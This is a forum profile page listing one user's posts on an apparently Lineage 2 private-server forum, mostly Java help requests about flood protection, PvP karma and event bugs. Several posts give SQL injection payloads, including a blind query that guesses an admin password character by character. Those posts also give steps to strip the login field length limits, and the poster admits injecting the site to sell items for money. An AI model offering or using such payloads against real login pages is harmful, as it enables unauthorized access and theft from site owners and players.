Jump to content

Bobi

Members
  • Posts

    793
  • Credits

  • Joined

  • Last visited

  • Feedback

    0%

Everything posted by Bobi

  1. why that ? all others options work fine
  2. it dont accept only for global chat and trade chat for hero chat is fine
  3. i import chat flood protect but idk why its dont accept config delay i change to 10 min or 1 sec but it still same i do it in java and config but not effect say2.java import com.l2.gameserver.util.FloodProtectorConfig; ................... .......... .... break; case SHOUT: if (Config.DEFAULT_GLOBAL_CHAT.equalsIgnoreCase("on") || (Config.DEFAULT_GLOBAL_CHAT.equalsIgnoreCase("gm") && activeChar.isGM())) { if (!FloodProtector.getInstance().tryPerformAction(activeChar.getObjectId(), FloodProtector.PROTECTED_GLOBALCHAT)) { activeChar.sendMessage("Action failed. Players are only able to use channel once every 20 seconds."); return; } int region = MapRegionTable.getInstance().getMapRegion(activeChar.getX(), activeChar.getY()); for (L2PcInstance player : L2World.getInstance().getAllPlayers()) { if (region == MapRegionTable.getInstance().getMapRegion(player.getX(),player.getY())) player.sendPacket(cs); } } else if (Config.DEFAULT_GLOBAL_CHAT.equalsIgnoreCase("global")) { if (!FloodProtector.getInstance().tryPerformAction(activeChar.getObjectId(), FloodProtector.PROTECTED_GLOBALCHAT)) { activeChar.sendMessage("Action failed. Players are only able to use channel once every 20 seconds."); return; } if (activeChar.getPvpKills()< Config.L2JMOD_MIN_PVP_POINTS_TO_TALK) { activeChar.sendMessage("You need "+ Integer.toString(Config.L2JMOD_MIN_PVP_POINTS_TO_TALK)+ " pvp points to use Global chat."); return; } for (L2PcInstance player : L2World.getInstance().getAllPlayers()) { player.sendPacket(cs); } } break; case TRADE: if (Config.DEFAULT_TRADE_CHAT.equalsIgnoreCase("on") || (Config.DEFAULT_TRADE_CHAT.equalsIgnoreCase("gm") && activeChar.isGM())) { if (!FloodProtector.getInstance().tryPerformAction(activeChar.getObjectId(), FloodProtector.PROTECTED_GLOBALCHAT)) { activeChar.sendMessage("Action failed. Players are only able to use channel once every 20 seconds."); return; } if (activeChar.getPvpKills()< Config.L2JMOD_MIN_PVP_POINTS_TO_TALK) { activeChar.sendMessage("You need "+ Integer.toString(Config.L2JMOD_MIN_PVP_POINTS_TO_TALK)+ " pvp points to use Global chat."); return; } for (L2PcInstance player : L2World.getInstance().getAllPlayers()) { player.sendPacket(cs); } } else if (Config.DEFAULT_TRADE_CHAT.equalsIgnoreCase("limited")) { if (!FloodProtector.getInstance().tryPerformAction(activeChar.getObjectId(), FloodProtector.PROTECTED_GLOBALCHAT)) { activeChar.sendMessage("Action failed. Players are only able to use channel once every 20 seconds."); return; } int region = MapRegionTable.getInstance().getMapRegion(activeChar.getX(), activeChar.getY()); for (L2PcInstance player : L2World.getInstance().getAllPlayers()) { if (region == MapRegionTable.getInstance().getMapRegion(player.getX(),player.getY())) player.sendPacket(cs); } } break; case ALL: if (_text.startsWith(".")) { if (!FloodProtector.getInstance().tryPerformAction(activeChar.getObjectId(), FloodProtector.PROTECTED_GLOBALCHAT)) { activeChar.sendMessage("Action failed. Players are only able to use channel once every 20 seconds."); return; } case HERO_VOICE: if (activeChar.isGM()) { if (!FloodProtector.getInstance().tryPerformAction(activeChar.getObjectId(), FloodProtector.PROTECTED_HEROVOICE)) { //Nothing here xD } for (L2PcInstance player : L2World.getInstance().getAllPlayers()) if (!BlockList.isBlocked(player, activeChar)) player.sendPacket(cs); } else if (activeChar.isHero()) { if (!FloodProtector.getInstance().tryPerformAction(activeChar.getObjectId(), FloodProtector.PROTECTED_HEROVOICE)) { activeChar.sendMessage("Action failed. Heroes are only able to speak in the global channel once every 10 seconds."); return; } for (L2PcInstance player : L2World.getInstance().getAllPlayers()) if (!BlockList.isBlocked(player, activeChar)) player.sendPacket(cs); } config.java private static void loadFloodProtectorConfigs(final Properties properties) { loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_USE_ITEM, "UseItem", "4"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_ROLL_DICE, "RollDice", "42"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_FIREWORK, "Firework", "42"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_ITEM_PET_SUMMON, "ItemPetSummon", "16"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_HERO_VOICE, "HeroVoice", "100"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_GLOBAL_CHAT, "GlobalChat", "20000"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_SUBCLASS, "Subclass", "20"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_DROP_ITEM, "DropItem", "10"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_SERVER_BYPASS, "ServerBypass", "5"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_MULTISELL, "MultiSell", "1"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_TRANSACTION, "Transaction", "100"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_MANUFACTURE, "Manufacture", "3"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_MANOR, "Manor", "30"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_SENDMAIL, "SendMail", "100"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_CHARACTER_SELECT, "CharacterSelect", "30"); loadFloodProtectorConfig(properties, FLOOD_PROTECTOR_ITEM_AUCTION, "ItemAuction", "9"); } private static void loadFloodProtectorConfig(final Properties properties, final FloodProtectorConfig config, final String configString, final String defaultInterval) { config.FLOOD_PROTECTION_INTERVAL = Integer.parseInt(properties.getProperty(StringUtil.concat("FloodProtector", configString, "Interval"), defaultInterval)); config.LOG_FLOODING = Boolean.parseBoolean(properties.getProperty(StringUtil.concat("FloodProtector", configString, "LogFlooding"), "False")); config.PUNISHMENT_LIMIT = Integer.parseInt(properties.getProperty(StringUtil.concat("FloodProtector", configString, "PunishmentLimit"), "0")); config.PUNISHMENT_TYPE = properties.getProperty(StringUtil.concat("FloodProtector", configString, "PunishmentType"), "none"); config.PUNISHMENT_TIME = Integer.parseInt(properties.getProperty(StringUtil.concat("FloodProtector", configString, "PunishmentTime"), "0")); }
  4. nothing happen still no idea how that happen
  5. i didnt see something wrong with can make this bug because i ask if someone was have same problem or can give any idea where can be problem or how to detect how that happen or something else
  6. when few players make pvp in any zone some time when u kill flag players u are become PK so u kill flaed player and u are PK not every time but many time that happen
  7. i mean when players make normal pvp in normal zone when they are all flag and some time they become PK did u see something wrong here ? public void onKillUpdatePvPKarma(L2Character target) { if (target == null) return; if (!(target instanceof L2PlayableInstance)) return; if (_inEventCTF || _inEventTvT) return; if (_inEventFOS) return; if (_inEventVIP) { increasePvpKills(target); return; } L2PcInstance targetPlayer = null; if (target instanceof L2PcInstance) targetPlayer = (L2PcInstance)target; else if (target instanceof L2Summon) targetPlayer = ((L2Summon)target).getOwner(); if (targetPlayer == null) return; // Target player is null if (targetPlayer == this) return; // Target player is self if (isCursedWeaponEquiped()) { CursedWeaponsManager.getInstance().increaseKills(_cursedWeaponEquipedId); return; } // If in duel and you kill (only can kill l2summon), do nothing if (isInDuel() && targetPlayer.isInDuel()) return; if (Config.L2F_ENABLE_EVENT_ENGINE==true) { if (EventManager.getInstance().isRegistered(this) && EventManager.getInstance().isRegistered(targetPlayer)) return; } // If in Arena, do nothing if (isInsideZone(ZONE_PVP) || targetPlayer.isInsideZone(ZONE_PVP)) return; // Check if it's pvp if ((checkIfPvP(target) && targetPlayer.getPvpFlag() != 0 ) || ( isInsideZone(ZONE_PVP) && targetPlayer.isInsideZone(ZONE_PVP))) { increasePvpKills(target); } else { // check about wars if (targetPlayer.getClan() != null && getClan() != null) { if (getClan().isAtWarWith(targetPlayer.getClanId())) { if (targetPlayer.getClan().isAtWarWith(getClanId())) { // 'Both way war' -> 'PvP Kill' increasePvpKills(target); return; } } } // 'No war' or 'One way war' -> 'Normal PK' if (targetPlayer.getKarma() > 0) // Target player has karma { if ( Config.KARMA_AWARD_PK_KILL ) { increasePvpKills(target); } } else if (targetPlayer.getPvpFlag() == 0) // Target player doesn't have karma { increasePkKillsAndKarma(targetPlayer.getLevel(),target); } } }
  8. i dont see nothing critical there what can bug pvp mod
  9. any ideas where can be problem when ppl fight in pvp mod and some time they become PK when kill his enemy ? Not every time they become PK but many time that happen
  10. name="login" style="width: 100px; height: 20px; padding-left:2px;" maxlength="16" name="password" style="width: 100px; height: 20px; padding-left:2px;" maxlength="16"
  11. if u dont know how to do that on current page/domain take page source on your compyper and edit
  12. entry user name corei5 if still same for admin access and in password windows put the next command ' OR EXISTS(SELECT * FROM accounts WHERE login='corei5' AND password LIKE '%w%') AND ''=' but dont forget to edit first page source to remove max symbols for user/password
  13. edit pae source and remove max symbols for user/pass To gain access and find a user name. Enter the string 'OR''=' as both user name and password in the frame on the right. This should get you logged in ' OR EXISTS(SELECT * FROM accounts WHERE login='corei5' AND password LIKE '%w%') AND ''=' Find out if corei5 password includes the letter "w" try and after time u will find th password
  14. i have inject it before long time and make money with selling items but they change his password and i dont have time do find it again if i not wrong admin access was corei5
  15. yes i remember that was DP command like <using kind="Dual Fist"/> but was something different i cant find the same topic where i see that
  16. before long time i was find a DP command to remove totem buff when u remove fist any know what was this DP command ?
  17. and what should do there the system? 109 for(int i = 0; i < 3; i++) 110 { 111 L2PcInstance max; 112 max = temp.head().getNext().getKey(); 113 for (L2PcInstance player : temp.keySet()) 114 if (temp.get(player)[2] > temp.get(max)[2]) 115 max = player; 116 117 top[i] = max; 118 temp.remove(max); 119 120 } 121 122 123 } 124
  18. any can help me to fix this problem ? its happen when event need send announcement with top 3 killers java.lang.NullPointerException at javolution.util.FastMap.remove(Unknown Source) at com.l2jarchid.gameserver.event.DM.selectTop(DM.java:118) at com.l2jarchid.gameserver.event.DM.access$200(DM.java:27) at com.l2jarchid.gameserver.event.DM$Core.run(DM.java:58) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:441) at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303) at java.util.concurrent.FutureTask.run(FutureTask.java:138) at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.access$301(ScheduledThreadPoolExecutor.java:98) at java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:206) at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886) at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908) at java.lang.Thread.run(Thread.java:662)
  19. tnx working perfect
  20. i try to make few items stackable like Freya when i put in DB consumate_type = stackable for this items in game they are stackable and use one slot but the problem is that after item name dont show me how much items i have , how can i do it like adena i mean : adena (2,147,483...)
  21. i dont want to make my job i try to make my files like l2j current but i get few errors
  22. can you help me little more? this is my file ChanceSkillList , can you tell me what is wrong and how to fix because im not good on java :( public class ChanceSkillList extends FastMap<L2Skill, ChanceCondition> { private static final long serialVersionUID = -2542073222059976854L; private L2Character _owner; public ChanceSkillList(L2Character owner) { super(); setShared(true); _owner = owner; } public L2Character getOwner() { return _owner; } public void setOwner(L2Character owner) { _owner = owner; } public void onHit(L2Character target, boolean ownerWasHit, boolean wasCrit) { int event; if (ownerWasHit) { event = ChanceCondition.EVT_ATTACKED | ChanceCondition.EVT_ATTACKED_HIT; if (wasCrit) event |= ChanceCondition.EVT_ATTACKED_CRIT; } else { event = ChanceCondition.EVT_HIT; if (wasCrit) event |= ChanceCondition.EVT_CRIT; } onEvent(event, target); } public void onSkillHit(L2Character target, boolean ownerWasHit, boolean wasMagic, boolean wasOffensive) { int event; if (ownerWasHit) { event = ChanceCondition.EVT_HIT_BY_SKILL; if (wasOffensive) { event |= ChanceCondition.EVT_HIT_BY_OFFENSIVE_SKILL; event |= ChanceCondition.EVT_ATTACKED; } else { event |= ChanceCondition.EVT_HIT_BY_GOOD_MAGIC; } } else { event = ChanceCondition.EVT_CAST; event |= wasMagic ? ChanceCondition.EVT_MAGIC : ChanceCondition.EVT_PHYSICAL; event |= wasOffensive ? ChanceCondition.EVT_MAGIC_OFFENSIVE : ChanceCondition.EVT_MAGIC_GOOD; } onEvent(event, target); } public void onEvent(int event, L2Character target) { for (FastMap.Entry<L2Skill, ChanceCondition> e = head(), end = tail(); (e = e.getNext()) != end;) { if (e.getValue() != null && e.getValue().trigger(event)) { makeCast(e.getKey(), target); } } } private void makeCast(L2Skill skill, L2Character target) { try { L2Object[] targets = skill.getTargetList(_owner, false); if (targets != null && targets.length > 0) { _owner.broadcastPacket(new MagicSkillLaunched(_owner, skill.getDisplayId(), skill.getLevel(), targets)); _owner.broadcastPacket(new MagicSkillUser(_owner, (L2Character)targets[0], skill.getDisplayId(), skill.getLevel(), 0, 0)); // Launch the magic skill and calculate its effects ISkillHandler handler = SkillHandler.getInstance().getSkillHandler(skill.getSkillType()); // Launch the magic skill and calculate its effects if (handler != null) handler.useSkill(_owner, skill, targets); else skill.useSkill(_owner, targets); } } catch (Exception e) { e.printStackTrace(); } } }
  23. yes i know because i was test it on char without items,buff....... but they are never started , same test in other project is successful Because i thin the problem is in Java because my DP settings are same like second project but im not good on java and because i ask for help here
×
×
  • Create New...